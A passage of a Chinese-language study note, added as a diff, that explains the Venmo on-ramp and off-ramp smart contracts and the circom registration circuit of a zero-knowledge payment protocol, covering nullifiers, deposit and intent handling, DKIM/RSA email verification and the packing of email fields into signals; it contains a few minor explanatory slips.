+	uint256[] memory signalArray = new uint256[](_to - _from);
+	for (uint256 i = _from; i < _to; i++) {
+		signalArray[i - _from] = _signals[i];
+	}
+
+	return signalArray.convertPackedBytesToString(signalArray.length * PACK_SIZE, PACK_SIZE);
+}
+```
+
+回到`_parseSignalArray()`函数，这个函数的主要目的是从 ZK 电路输出的信号中提取和解码特定的字符串数据（在这个场景中是邮件地址）。每个信号包含了 7 个字节的打包数据，需要被解包并转换为可读的字符串。
+
+假设邮件地址是 "test@example.com"，这个字符串会被分成每 7 个字节一组进行打包，每组被打包成一个 uint256 数字存储在信号数组中，`convertPackedBytesToString` 负责将这些打包的数字重新转换回原始字符串。
+
+`emailFromAddress`字段数据来自BaseProcessorV2 的构造函数，并且可以通过 setEmailFromAddress 函数更新
+
+```js
+emailFromAddress = bytes(_emailFromAddress);
+
+function setMailserverKeyHashAdapter(IKeyHashAdapter _mailserverKeyHashAdapter) external onlyOwner {
+	mailserverKeyHashAdapter = _mailserverKeyHashAdapter;
+}
+```
+
+这个邮件地址实际上是 Venmo 的官方通知邮件地址，用于验证邮件确实来自 Venmo。当处理证明时，会验证邮件的发送者是否匹配这个地址。
+
+`_validateAndAddNullifier`函数的作用是确保一个证明只能使用一次，当使用过后，就把proof的hash值放进`_nullifier` mapping里面
+
+```js
+mapping(bytes32 => bool) public isNullified;
+
+function _validateAndAddNullifier(bytes32 _nullifier) internal {
+    // 检查这个 nullifier 是否已经被使用过
+    require(!nullifierRegistry.isNullified(_nullifier), "Nullifier has already been used");
+    // 如果没有被使用过，将其标记为已使用
+    nullifierRegistry.addNullifier(_nullifier);
+}
+```
+
+#### Off-ramp
+
+off-ramp是指用户想要将链上的USDC转换为链下的美元。举一个例子来看看Off-ramp函数，
+
+```js
+IERC20 public immutable usdc;
+
+function offRamp(
+	uint256[3] memory _packedVenmoId,
+	uint256 _depositAmount,
+	uint256 _receiveAmount
+)
+	external
+	onlyRegisteredUser
+{
+	bytes32 venmoIdHash = bytes32(poseidon.poseidon(_packedVenmoId));
+
+	require(getAccountVenmoIdHash(msg.sender) == venmoIdHash, "Sender must be the account owner");
+	require(accounts[msg.sender].deposits.length < MAX_DEPOSITS, "Maximum deposit amount reached");
+	require(_depositAmount >= minDepositAmount, "Deposit amount must be greater than min deposit amount");
+	require(_receiveAmount > 0, "Receive amount must be greater than 0");
+
+	uint256 conversionRate = (_depositAmount * PRECISE_UNIT) / _receiveAmount;
+	uint256 depositId = depositCounter++;
+
+	accounts[msg.sender].deposits.push(depositId);
+
+	deposits[depositId] = Deposit({
+		depositor: msg.sender,
+		packedVenmoId: _packedVenmoId,
+		depositAmount: _depositAmount,      // 1000 USDC
+		remainingDeposits: _depositAmount,  // 初始时等于 depositAmount
+		outstandingIntentAmount: 0,         // 初始时为 0
+		conversionRate: conversionRate,     // (1000 * 1e18) / 1010
+		intentHashes: new bytes32[](0)      // 初始时为空数组
+	});
+	usdc.transferFrom(msg.sender, address(this), _depositAmount);
+
+	emit DepositReceived(depositId, venmoIdHash, _depositAmount, conversionRate);
+```
+
+数据变更示例已经在之前的Deposit部分有过分析，`onlyRegisteredUser`保证只有register才能使用off ramp。
+
+```js
+userIdHash = bytes32(_proof.signals[4]);
+
+bytes32 venmoIdHash = bytes32(poseidon.poseidon(_packedVenmoId));
+require(getAccountVenmoIdHash(msg.sender) == venmoIdHash, "Sender must be the account owner");
+```
+
+
+#### On-ramp
+
+想要on ramp的用户首先需要做 signalIntent 表明想要 on-ramp 的意图
+
+```js
+function signalIntent(uint256 _depositId, uint256 _amount, address _to) external onlyRegisteredUser {
+	bytes32 venmoIdHash = getAccountVenmoIdHash(msg.sender);
+	Deposit storage deposit = deposits[_depositId];
+	bytes32 depositorVenmoIdHash = getAccountVenmoIdHash(deposit.depositor);
+
+	...
+
+	bytes32 intentHash = _calculateIntentHash(venmoIdHash, _depositId);
+
+	if (deposit.remainingDeposits < _amount) {
+		(
+			bytes32[] memory prunableIntents,
+			uint256 reclaimableAmount
+		) = _getPrunableIntents(_depositId);
+
+		require(deposit.remainingDeposits + reclaimableAmount >= _amount, "Not enough liquidity");
+
+		_pruneIntents(deposit, prunableIntents);
+		deposit.remainingDeposits += reclaimableAmount;
+		deposit.outstandingIntentAmount -= reclaimableAmount;
+	}
+
+	intents[intentHash] = Intent({
+		onRamper: msg.sender,
+		to: _to,
+		deposit: _depositId,
+		amount: _amount,
+		intentTimestamp: block.timestamp
+	});
+
+	globalAccount[venmoIdHash].currentIntentHash = intentHash;
+
+	deposit.remainingDeposits -= _amount;
+	deposit.outstandingIntentAmount += _amount;
+	deposit.intentHashes.push(intentHash);
+
+	emit IntentSignaled(intentHash, _depositId, venmoIdHash, _to, _amount, block.timestamp);
+}
+```
+
+看一下`_calculateIntentHash`函数
+
+```js
+function _calculateIntentHash(
+	bytes32 _venmoId,
+	uint256 _depositId
+)
+	internal
+	view
+	virtual
+	returns (bytes32 intentHash)
+{
+	// Mod with circom prime field to make sure it fits in a 254-bit field
+	uint256 intermediateHash = uint256(keccak256(abi.encodePacked(_venmoId, _depositId, block.timestamp)));
+	intentHash = bytes32(intermediateHash % CIRCOM_PRIME_FIELD);
+}
+```
+
+该函数的作用就是想要on ramp的用户的venmo id和和一些信息计算出来`intentHash`。
+
+继续往后看代码，注意到`_getPrunableIntents`和`_pruneIntents`，看来如果deposit的资金量不够，去做deposit的过期intent修剪工作是由on ramp来承担。
+
+然后用户需要在链下通过 Venmo 向 off-ramper 发送资金。
+
+完成链下支付后,可以调用 onRamp 函数完成 on-ramp。
+
+```js
+// signanal: Encoded public signals of the zk proof, contains mailserverHash, fromEmail, timestamp, onRamperIdHash,
+
+* nullifier, intentHash
+function onRamp(
+	uint256[2] memory _a,
+	uint256[2][2] memory _b,
+	uint256[2] memory _c,
+	uint256[12] memory _signals
+)
+	external
+{
+	(
+		Intent memory intent,
+		Deposit storage deposit,
+		bytes32 intentHash
+	) = _verifyOnRampProof(_a, _b, _c, _signals);
+
+	_pruneIntent(deposit, intentHash);
+
+	deposit.outstandingIntentAmount -= intent.amount;
+	globalAccount[getAccountVenmoIdHash(intent.onRamper)].lastOnrampTimestamp = block.timestamp;
+	_closeDepositIfNecessary(intent.deposit, deposit);
+
+	_transferFunds(intentHash, intent);
+}
+```
+
+首先来看一下`_verifyOnRampProof`函数，
+
+```js
+function _verifyOnRampProof(
+	uint256[2] memory _a,
+	uint256[2][2] memory _b,
+	uint256[2] memory _c,
+	uint256[12] memory _signals
+)
+	internal
+	returns(Intent memory, Deposit storage, bytes32)
+{
+	(
+		uint256 amount,
+		uint256 timestamp,
+		bytes32 offRamperIdHash,
+		bytes32 onRamperIdHash,
+		bytes32 intentHash
+	) = sendProcessor.processProof(
+		ISendProcessor.SendProof({
+			a: _a,
+			b: _b,
+			c: _c,
+			signals: _signals
+		})
+	);
+
+	Intent memory intent = intents[intentHash];
+	Deposit storage deposit = deposits[intent.deposit];
+
+	require(intent.onRamper != address(0), "Intent does not exist");
+	require(intent.intentTimestamp <= timestamp, "Intent was not created before send");
+	require(getAccountVenmoIdHash(deposit.depositor) == offRamperIdHash, "Offramper id does not match");
+	require(getAccountVenmoIdHash(intent.onRamper) == onRamperIdHash, "Onramper id does not match");
+	require(amount >= (intent.amount * PRECISE_UNIT) / deposit.conversionRate, "Payment was not enough");
+
+	return (intent, deposit, intentHash);
+}
+```
+
+`sendProcessor.processProof`是一个外部实现，具体实现代码位于`venmo-v1/VenmoSendProcessor.sol`。进入到这个代码里面去看看，可以发现这里面首先做了Groth16的验证工作，以及其他验证工作，然后把on ramp和off ramp的venmo id以及其他数据返回。
+
+回到`_verifyOnRampProof`函数，deposit的venmo id需要和off ramp id一样，intent venmo id需要和上链 off ramp id一样。
+
+回到`onRamp()`函数，随后是对intent做一些修剪工作。deposit被锁定金额做一些修改。更新globalAccount信息表示该venmo id在一段时间之内不能做其他操作了。
+
+全部处理完之后做资金转移`_transferFunds`。
+
+### 电路
+
+主电路是下面两个，这其中又涉及到很多辅助分支电路，接下来以主电路为核心做展开分析。电路代码位于`circuits/venmo/venmo_registration.circom`以及该路径下的其他文件。
+
+#### Registration 测试代码
+
+这次通过测试代码来学习电路，测试代码位于`circuits/venmo/test/venmo_registration.spec.ts`
+
+`it("Should return the correct modulus hash", async () => {`
+
+这个测试用例,它验证了电路计算的modulus hash是否正确。modulus是指DKIM(DomainKeys Identified Mail)验证中的RSA公钥模数。
+
+[DKIM](https://www.youtube.com/watch?v=IBhO0akhMlQ&ab_channel=PowerDMARC)是一种电子邮件认证方法，它允许组织对发送的电子邮件进行数字签名。每个签名包含：
+
+- RSA公钥(通常存储在DNS记录中)
+- 使用相应私钥创建的签名
+
+在RSA签名算法具体流程是：
+
+$$
+\begin{align*}
+& \text{1) 选择两个大素数 } p \text{ 和 } q \\
+& \text{2) 计算模数 } n = p \times q \\
+& \text{3) 计算欧拉函数 } \phi(n) = (p-1) \times (q-1) \\
+& \text{4) 选择公钥 } e\text{，满足 } 1 < e < \phi(n) \text{ 且 } \gcd(e, \phi(n)) = 1 \\
+& \text{5) 计算私钥 } d\text{，满足 } d \times e \equiv 1 \pmod{\phi(n)}
+\end{align*}
+$$
+
+
+签名过程为
+
+$$
+\begin{align*}
+& \text{1) 计算消息哈希：} h = \text{Hash}(m) \\
+& \text{2) 计算签名：} s = h^d \bmod n
+\end{align*}
+$$
+
+签名验证流程为
+
+$$
+\begin{align*}
+& \text{1) 验证计算：} h' = s^e \bmod n \\
+& \text{2) 计算消息哈希：} h = \text{Hash}(m) \\
+& \text{3) 验证：若 } h' = h \text{，则签名有效}
+\end{align*}
+$$
+
+RSA签名中，mod n和public key都是公开是值，而且这个mod n不是一个钉死的值，是可以随着public key一起变的，但是每次签名的时候都要用一个生成的固定的n。RSA公钥由两部分组成:
+
+- modulus (n): 两个大素数p和q的乘积
+- public exponent (e): 通常是65537
+
+在这些测试中,我们可以看到modulus的处理过程:
+
+```ts
+const poseidon = await buildPoseidon();
+const modulus = chunkedBytesToBigInt(input["modulus"], 121);
+const pubkeyChunked = bigIntToChunkedBytes(modulus, 242, 9);
+const expected_hash = poseidon(pubkeyChunked);
+```
+
+这段代码显示:
+
+- modulus被分成121字节的块
+- 然后转换成9个242位的块
+- 最后计算这些块的Poseidon哈希值
+
+```js
+const modulus_hash = witness[1];
+assert.equal(JSON.stringify(mimcSponge.F.e(modulus_hash)), JSON.stringify(expected_hash), true);
+```
+
+这里不是用mimcSponge来计算hash，而是`mimcSponge.F.e()` 这个函数是将数字转换为MiMC使用的有限域表示，`witness[1]` 和 expected_hash 可能有不同的数字表示形式，通过将它们都转换到相同的有限域表示，我们可以正确比较它们的值。
+
+`it("Should return the correct packed from email", async () => {`
+
+该测试的作用是验证电路是否正确提取和打包了发件人邮箱地址。邮件发件人格式通常是`from:<venmo@venmo.com>`，我们期望从json中在固定位置能够提取出来`venmo@venmo.com`信息，并且和witness对应的数据是一样的。
+
+```js
+const packed_from_email = witness.slice(2, 5);
+```
+
+从`witness[2]`到`witness[4]`获取电路计算的打包邮箱地址。注释说明这是因为15/7≈3,所以需要3个witness值来存储（字符串要先转成ASCII码，之后转成数值，如果数据太大就超过有限域范围了，所以要做分割）。
+
+`from_email_array`最终会得到`venmo@venmo.com`，`venmo@venmo.com`字符串总长度是15，我们按照尺寸7对这个15做一下划分，一共会分成3块。这样最后一个数据划分之后就只有一个值，不够7，所以就在后面补0，`chunkArray()`就是计算得到划分数组。
+
+随后比较每个划分是否相同
+
+```js
+export function bytesToPacked(arr) {
+    // Convert into bigint from string
+    let arrInt = arr.map(BigInt);
+    let n = arrInt.length;
+    let out = BigInt(0);
+    for (let k = 0; k < n; k++) {
+        out += arrInt[k] * BigInt(2 ** (8 * k));  // little endian
+    }
+    return out;
+}
+
+chunkedArrays.map((arr, i) => {
+	// Pack each chunk
+	let expectedValue = bytesToPacked(arr);
+
+	// Check packed email is the same
+	assert.equal(expectedValue, packed_from_email[i], true);
+});
+```
+
+可以看到`bytesToPacked()`实际上是对上述拆分的3个数组里面的每一个字符按照小端序拼接成一个数字，举个例子假设我们有字符串 "ab":
+
+```
+'a' = 97  = 01100001
+'b' = 98  = 01100010
+打包结果 = 98 * 2⁸ + 97 = 25185
+```
+
+为什么在电路里面比较的是数字而不是ascii值？因为ZK电路中的每个操作都会产生约束，如果直接比较ASCII码，对于n个字符就需要n次比较，每次比较都会产生约束，增加证明的大小和验证时间。所以比较数字会减小计算开销。另外一个问题是比较数字是否是安全的，也就是说是否会有另外一个字符串也能算出来相同的数字？答案是不可能的，上述例子通过一个指数计算方式保证'a' (ASCII 97) 会被放在 0-7 位，'b' (ASCII 98) 会被放在 8-15 位，以此类推。字符通过幂指运算固定下来，不可能存在不同的字符串可以算相同的结果。所以比较数字是安全的。
+
+通过上述的计算和比较确保`packed_from_email`里面的内容确实是`venmo@venmo.com`。
+
+`it("Should return the correct hashed actor id", async () => {`
+
+这个测试验证电路是否正确计算了actor_id的哈希值。
+
+```js
+poseidonContract = await C6.deploy();
+```
+
+首先设置了Poseidon合约，这部分代码在本地网络上部署了Poseidon哈希函数的智能合约。
+
+actor_id 是 Venmo 邮件中的一个用户标识符，应该就是Venmo id。
+
+```js
+const actor_id_selector = Buffer.from('&actor_id=3D');
+```
+
+`Buffer.from()` 不是从缓冲区获取数据，而是创建一个新的 Buffer 对象。在 Node.js 中，Buffer 类是用来处理二进制数据的。这里 Buffer.from() 的作用是：
+
+1. 将字符串 '&actor_id=3D' 转换成字节数组
+2. 这样就可以在二进制层面处理这个字符串
+3. 主要用于在邮件正文中进行二进制匹配
+
+为什么要用 Buffer？
+
+1. 邮件数据是以二进制形式存储的
+2. 特别是在处理编码问题时（如 3D 是 Base64 编码的 = 符号）
+3. Buffer 提供了更好的二进制数据处理能力
+
+举个例子：
+
+```js
+// 字符串方式
+"&actor_id=3D" 
+
+// Buffer方式（十进制ASCII码）
+[38, 97, 99, 116, 111, 114, 95, 105, 100, 61, 51, 68]
+```
+
+这在后面的代码中用于查找位置：
+
+```js
+const venmo_actor_id_start_idx = (Buffer.from(input['in_body_padded']).indexOf(actor_id_selector) + actor_id_selector.length);
+const venmo_actor_id_end_idx = (Buffer.from(input['in_body_padded']).indexOf(Buffer.from('"', 'ascii'), venmo_actor_id_start_idx));
+```
+
+这两行代码使用 Buffer 在邮件正文中精确定位 actor_id 的起始和结束位置。使用 Buffer 可以确保在处理各种编码的邮件时都能正确工作。
+
+深入看一下这个具体设计构造，这两行代码在做字符串匹配，但使用 Buffer 是为了处理二进制数据。
+
+```js
+Buffer.from(input['in_body_padded'])  // 将邮件正文转换为二进制buffer
+    .indexOf(actor_id_selector)       // 查找 "&actor_id=3D" 的位置
+    + actor_id_selector.length        // 跳过这个标识符本身
+
+Buffer.from(input['in_body_padded'])           // 同样转换为buffer
+    .indexOf(                                  // 查找位置
+        Buffer.from('"', 'ascii'),            // 查找引号字符
+        venmo_actor_id_start_idx              // 从起始位置开始查找
+    )
+```
+
+最终得到的`actor_id_array`是长度为21的字符串，然后同样的`chunkArray()`对其进行划分。看起来很奇怪，为什么要写成`"&actor_id=3D"` 这样的形式？这里的 "=3D" 在邮件传输过程中实际上代表了 "=" 符号。这是因为：
+
+1. 邮件协议历史上只支持 7-bit ASCII
+2. 为了安全传输特殊字符，使用 Quoted-Printable 编码
+
+3. 编码规则：
+	- "=" 符号被编码为 "=3D"
+	- 其他特殊字符也有类似编码（如空格可能被编码为 "=20"）
+
+所以当我们在代码中写：
+
+```js
+const actor_id_selector = Buffer.from('&actor_id=3D');
+```
+
+我们是在寻找邮件中的 "&actor_id=" 这个字符串，但由于邮件编码的原因，我们需要查找 "&actor_id=3D"。
+
+这就是为什么我们使用 Buffer 来处理这些数据，因为它能正确处理这种编码情况，而不是简单的字符串匹配。
+
+接下来同样的，对得到的数据转换成数字形式，然后计算Poseidon hash结果。
+
+```js
+const expected_hash_contract = await poseidonContract["poseidon(uint256[3])"](packed_actor_id);
+```
+
+最后的验证操作进行了两个验证：
+
+1. 验证电路输出的哈希值与本地 JS 计算的哈希值相同
+2. 验证电路输出的哈希值与智能合约计算的哈希值相同
+
+为什么需要这样的双重验证？
+
+1.  一致性验证：
+	- 确保在不同环境（JS、智能合约、ZK 电路）中 Poseidon 哈希的实现是一致的
+
+2. 安全性保证：
+	- 本地 JS 验证提供了快速的测试反馈
+	- 合约验证确保了链上验证的正确性
+
+3. 互操作性：
+	- 在实际应用中，这些哈希值需要在链上和链下环境中保持一致
+	- 比如用户在前端生成的哈希值必须能被智能合约正确验证
+
+```js
+assert.equal(JSON.stringify(poseidon.F.e(hashed_actor_id)), JSON.stringify(expected_hash), true);
+assert.equal(JSON.stringify(poseidon.F.e(hashed_actor_id)), JSON.stringify(poseidon.F.e(expected_hash_contract.toString())), true);
+```
+
+#### Registration 电路代码
+
+电路代码位于`circuits/venmo/venmo_registration.circom`，接下来开始学习电路内容。
+
+```c
+template VenmoRegistration(max_header_bytes, max_body_bytes, n, k, pack_size) 
+```
+
+max_header_bytes: 邮件头部最大字节数(768)，max_body_bytes: 邮件体最大字节数(6912)，n: RSA模数每个块的位数(121)，k: RSA模数的块数(17)，pack_size: 信号打包大小(7)。
+
+这里的 n 和 k 参数与RSA加密系统的公钥处理有关：
+
+1. 为什么需要分块?
+	- RSA公钥通常是很大的数字(1024位或2048位)
+	- Circom中的信号(signal)有位数限制,通常不能直接处理这么大的数字
+	- 因此需要将大数字分成多个小块来处理
+2. 参数选择
+	- n * k = 121 * 17 = 2057 > 2048: 确保能处理2048位的RSA密钥
+3. 选择n=121的原因
+	- Circom中信号通常用254位有限域
+	- 121位是在保证安全性的同时,能在254位字段中安全进行算术运算的合适大小
+
+继续向后看代码，`ceil()`函数的作用是数字向上取整，比如说
+
+```js
+var max_email_from_len = ceil(21, pack_size);
+```
+
+假如`pack_size`是7，最终得到的`max_email_from_len`长度是21。
+
+接着继续向后看，先补充一点相关的操作和语法
+
+```js
+signal input in_padded[max_header_bytes];
+```
+
+在Circom中，`in_padded[max_header_bytes]` 是声明一个长度为 `max_header_bytes` 的信号数组，而不是取数组中的某个元素。所以这里不是拿一个元素而是要整个数组。
+
+另外一个问题是这个输入到底从哪里来？在circom中只是定义了signal作为电路的输入，但是这个输入到底是从哪里来？
+
+实际的signal输入是在外部定义的，具体在`circuits/package/generate_input.ts`
+
+```js
+// JavaScript/TypeScript中
+const circuitInputs = {
+    in_padded: [...],           // 必须与circom中的signal名称完全匹配
+    modulus: [...],             // 必须匹配
+    signature: [...],           // 必须匹配
+    in_len_padded_bytes: 123    // 必须匹配
+};
+```
+
+名字命名必须要和circom中对应的代码名称完全匹配才行，这是snarkjs库用来映射输入的依据。
+
+```c
+// Circom中
+template VenmoRegistration(...) {
+    signal input in_padded[max_header_bytes];     // 名称必须匹配
+    signal input modulus[k];                      // 名称必须匹配
+    signal input signature[k];                    // 名称必须匹配
+    signal input in_len_padded_bytes;            // 名称必须匹配
+}
+```
+
+`in_padded[max_header_bytes]`实际上可以看成是一个数组长度的检查，具体实际把js输入和电路串联起来的代码是这样的
+
+```js
+it("Should generate witnesses", async () => {
+    // 加载预处理的输入数据
+    const venmo_path = path.join(__dirname, "../inputs/input_venmo_registration.json");
+    const jsonString = fs.readFileSync(venmo_path, "utf8");
+    const input = JSON.parse(jsonString);
+    
+    // 使用输入数据计算witness
+    const witness = await cir.calculateWitness(
+        input,
+        true
+    );
+```
+
+这也是之前分析过的代码构造，整个数据处理流程大概是这样的：
+
+```mermaid
+graph TD
+    A[Venmo邮件.eml] --> B[generate_input.ts]
+    B --> |处理邮件数据| C[circuitInputs对象]
+    C --> |JSON.stringify| D[input_venmo_registration.json]
+    D --> |JSON.parse| E[电路输入signals]
+    E --> |电路处理| F[witness输出]
+```
+
+另外一个问题是为什么要用signal传数据，用传参的方式不行吗？答案是这两个有比较大的区别，参数的最大特点是不参与约束系统，所以也不能用于证明。但是signal是实际参与整个约束系统的，如
+
+```c
+template Multiply() {
+    signal input a;
+    signal input b;
+    signal output c;
+
+    c <== a * b;  // 创建约束：c必须等于a*b
+}
+```
+
+参数更像是电路的"配置"，而信号是电路的"数据"。这就是为什么我们使用signal而不是参数来处理实际的输入输出数据。
+
+接下来逐个看看这些电路的输入内容都是做什么的。
+
+```js
+signal input in_padded[max_header_bytes]; // prehashed email data
+```
+
+这是邮件头部数据,包含：
+
+- 原始邮件头数据
+- SHA256需要的填充(512 + 64字节)
+- 额外的0填充
+
+数据结构示意：
+
+```
+[原始邮件头][SHA256填充][额外0填充]
+|<- 实际数据 ->|<- 512+64 ->|<- 剩余填充 ->|
+```
+
+```js
+signal input modulus[k]; // rsa pubkey
+```
+
+这是RSA公钥的模数：
+
+- 被分成k(17)个块
+- 每个块n(121)位
+- 用于DKIM签名验证
+
+```js
+signal input signature[k]; // rsa signature
+```
+
+这是RSA签名：
+
+- 同样分成k(17)个块
+- 每块n(121)位
+- 是邮件的DKIM签名
+- 用于验证邮件真实性
+
+```js
+signal input in_len_padded_bytes; // length of in email data including padding
+```
+
+这是填充后的总长度：
+
+- 包含原始邮件数据长度
+- 包含SHA256填充长度
+- 用于SHA256块长度计算
+
+一个可能的数据处理流程大概是这样的
+
+```js
+// 1. 准备邮件数据
+const emailData = fs.readFileSync('venmo_email.eml');
+const headerData = extractHeader(emailData);
+
+// 2. SHA256填充
+const paddedHeader = addSHA256Padding(headerData);
+
+// 3. RSA公钥处理
+const publicKey = getRSAPublicKey();
+const modulusChunks = splitIntoChunks(publicKey, k, n);
+
+// 4. RSA签名处理
+const signature = getDKIMSignature(emailData);
+const signatureChunks = splitIntoChunks(signature, k, n);
+
+// 5. 创建电路输入
+const circuitInputs = {
+    in_padded: paddedHeader,
+    modulus: modulusChunks,
+    signature: signatureChunks,
+    in_len_padded_bytes: paddedHeader.length
+};
+```
+
+实际处理由zk-Email的package来实现，具体代码在`circuits-circom/package/generate_inputs.ts`
+
+```ts
+import { dkimVerify } from "@zk-email/helpers/dist/dkim";
+
+console.log("DKIM verification starting");
+result = await dkimVerify(processed_email);
+// console.log("From:", result.headerFrom);
+console.log("Results:", result.results[0]);
+if (!result.results[0]) {
+throw new Error(`No result found on dkim output ${result}`);
+} else {
+if (!result.results[0].publicKey) {
+  if (result.results[0].status.message) {
+	throw new Error(result.results[0].status.message);
+  } else {
+	throw new Error(`No public key found on generate_inputs result ${JSON.stringify(result)}`);
+  }
+}
+}
+const _ = result.results[0].publicKey.toString();
+console.log("DKIM verification successful");
+
+let sig = BigInt("0x" + Buffer.from(result.results[0].signature, "base64").toString("hex"));
+let message = result.results[0].status.signature_header;
+let body = result.results[0].body;
+let body_hash = result.results[0].bodyHash;
+
+let pubkey = result.results[0].publicKey;
+const pubKeyData = pki.publicKeyFromPem(pubkey.toString());
+// const pubKeyData = CryptoJS.parseKey(pubkey.toString(), 'pem');
+let modulus = BigInt(pubKeyData.n.toString());
+let fin_result = await getCircuitInputs(sig, modulus, message, body, body_hash, intent_hash, type);
+return fin_result.circuitInputs;
+```
+
+直接就可以把raw-email的数据处理，得到比较规整的数据用于circom的zk证明生成。
+
+```js
+signal input body_hash_idx;  // Base64 body hash的索引位置
+```
+
+这是用来指示在邮件头中Base64编码的body hash的位置。
+
+- 在DKIM验证中用于定位body hash
+- 帮助验证邮件体的完整性
+
+在DKIM签名的邮件中，邮件头部包含了一个 bh= 字段，这个字段存储了邮件体的Base64编码哈希值。body_hash_idx 就是用来指示这个哈希值在邮件头中的位置。
+
+实际邮件示例
+
+```
+DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=venmo.com;
+    s=s1; t=1634567890;
+    bh=47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=;  <-- 这是body hash
+    h=From:To:Subject:Date;
+    b=A8d4K...
+```
+
+一个定位index的代码示例：
+
+```js
+function processEmail(emailData: string) {
+    // 1. 查找body hash的位置
+    const bodyHashMatch = emailData.match(/bh=([^;]*)/);
+    const bodyHashIndex = bodyHashMatch.index + 3; // "bh="后的位置
+    
+    return {
+        body_hash_idx: bodyHashIndex,
+        // ... 其他输入
+    };
+}
+```
+
+这个字段数据的作用是我们会通过body_hash_idx提取一个hash值，这个hash值是邮件体用base64编码之后再hash之后得到的具体数值。然后同时我们还有邮件的body本身，我们会在电路里面对这个body数据自己做一下hash计算，同样处理之后比较两个hash值是否一致来判断邮件正文是否被篡改。后面我们会看到`in_body_padded[max_body_bytes]`就是邮件体正文的实际数据。
+
+```mermaid
+graph TD
+    A[邮件头] --> B[通过body_hash_idx提取base64编码的hash值]
+    C[邮件体] --> D[计算SHA256]
+    D --> E[base64编码]
+    B --> F[比较hash值]
+    E --> F
+    F --> G[验证是否匹配]
+```
+
+```js
+signal input precomputed_sha[32];  // Merkle-Damgard状态
+```
+
+这是一个优化设计：
+
+- SHA256是基于Merkle-Damgard构造的
+- 存储了SHA计算到第一个正则匹配位置的中间状态
+- 32个元素对应SHA256的中间状态
+- 通过预计算来节省电路约束
+
+工作原理：
+
+```
+原始邮件体: [前半部分][需要验证的部分][后半部分]
+                ↓
+预计算SHA状态: precomputed_sha[32] 存储前半部分的SHA状态
+                ↓
+只需要继续处理: [需要验证的部分]
+```
+
+为什么要划分呢？划分的作用是什么？怎么划分？举一个例子来说明一下。
+
+```
+You paid John Smith $50.00
+October 15, 2023
+
+To: John Smith
+Transaction ID: 3994422940193824  <- 这是我们需要提取的Actor ID
+Message: Thanks for lunch!
+
+Need to split a purchase with friends? Use Venmo to pay them back instantly.
+Download Venmo for iOS or Android
+
+... (更多营销文本和页脚)
+```
+
+比如这个是一个可能的 Venmo 邮件，actor id之前的部分可以通过预计算出来hash的方式得到，这样可以一定程度节省整个电路的计算量。
+
+
+```mermaid
+graph LR
+    A["前半部分<br>预计算SHA状态"] --> B["关键部分<br>在电路中处理"] --> C["后半部分<br>必须继续处理"]
+    D["最终hash值"] --> E["与DKIM中的body hash比较"]
+    B --> D
+    C --> D
+```
+
+SHA256的hash计算是每处理完一个块，SHA256 会产生一个 256 位(32字节)的中间状态这个状态包含了之前所有块的信息，合并过程是
+
+```
+// 假设这是邮件内容的示意
+[前半部分(已预计算)][关键部分(需验证)][后半部分]
+     ↓                    ↓              ↓
+  state1  ----→  state2  ----→  state3  ----→  最终hash
+```
+
+一个假设的代码示例可能是这样
+
+```js
+// 简化的代码示意
+function sha256Update(previousState: bytes32, newBlock: bytes64): bytes32 {
+    return compress(previousState, newBlock);
+}
+
+// 实际处理流程
+let state = precomputed_sha; // 这是前半部分处理后的状态
+state = sha256Update(state, importantPart); // 处理关键部分
+state = sha256Update(state, remainingPart); // 处理剩余部分
+let finalHash = state; // 这就是最终的 hash
+```
+
+```js
+signal input in_body_padded[max_body_bytes];  // 预计算SHA之后的邮件体部分
+```
+
+这是邮件体的后续部分：
+
+- 从第一个正则匹配位置开始
+- 包含需要验证的关键信息
+- 已经进行了必要的填充（填充规则来自zk-email，直接导入zk-Email提供的`sha256Pad`即可）
+
+数据结构：
+
+```
+[实际邮件体数据][填充数据]
+|<- 实际数据 ->|<- 填充 ->|
+```
+
+```js
+signal input in_body_len_padded_bytes;  // 填充后的长度
+```
+
+表示 in_body_padded 的实际长度：
+
+- 包含实际数据长度
+- 包含填充长度
+- 用于SHA256计算
+
+继续向后看，
+
+```js
+signal output modulus_hash;
+```
+
+和实际的witness（就是之前分析的测试代码）的对应关系是怎么样的？
+
+在Circom中，witness数组的组织方式是：
+
+```js
+witness = [
+    1,                    // witness[0] 始终是1，表示约束满足
+    modulus_hash,         // witness[1] 第一个输出信号
+    packed_actor_id_hashed, // witness[2] 第二个输出信号
+    // ... 其他中间信号值
+]
+```
+
+在 venmo_registration.circom 中的输出信号：
+
+```js
+template VenmoRegistration(...) {
+    signal output modulus_hash;              // witness[1]
+    signal output packed_actor_id_hashed;    // witness[2]
+}
+```
+
+接下来进入 **DKIM VERIFICATION**
+
+分析一下信号输入情况
+
+```js
+// 邮件头部数据
+EV.in_padded <== in_padded;                          // 填充后的邮件头
+EV.in_len_padded_bytes <== in_len_padded_bytes;      // 邮件头长度
+
+// RSA相关数据
+EV.pubkey <== modulus;                               // RSA公钥
+EV.signature <== signature;                          // RSA签名
+
+// 邮件体相关数据
+EV.body_hash_idx <== body_hash_idx;                  // body hash位置
+EV.precomputed_sha <== precomputed_sha;              // 预计算的SHA状态
+EV.in_body_padded <== in_body_padded;                // 邮件体数据
+EV.in_body_len_padded_bytes <== in_body_len_padded_bytes;  // 邮件体长度
+```
+
+整个电路计算流程大致是这样
+
+```mermaid
+graph TD
+    A[输入信号] --> B[EmailVerifier组件]
+    B --> C[DKIM验证]
+    B --> D[邮件体验证]
+    B --> E[RSA签名验证]
+    E --> F[输出modulus_hash]
+```
+
+
+继续向后看，接下来进入 **FROM HEADER REGEX**
+
+这段代码是在处理和验证邮件的 From 头部。
+
+```js
+var max_email_from_packed_bytes = count_packed(max_email_from_len, pack_size);
+```
+
+这是一个编译时的计算，用于确定需要多少个打包信号，编译时计算就像普通的 JavaScript 计算一样，只是得到一个结果，不会进入电路约束系统。
+
+- var 和函数调用 → 类似普通 JavaScript 计算
+- signal 和 component → 生成零知识证明的约束
+
+它用于计算存储发件人地址需要多少个打包信号，确保不超过邮件头的最大长度。
+
+接着声明信号：
+
+```js
+signal input email_from_idx;  // From字段在邮件头中的位置
+signal output reveal_email_from_packed[max_email_from_packed_bytes]; // 打包后的From邮件值
+```
+
+然后去做正则匹配和验证：
+
+```js
+signal (from_regex_out, from_regex_reveal[max_header_bytes]) <== FromRegex(max_header_bytes)(in_padded);
+from_regex_out === 1;  // 确保正则匹配成功
+```
+
+这里FromRegex 组件在邮件头中查找 From 字段返回两个值：
+
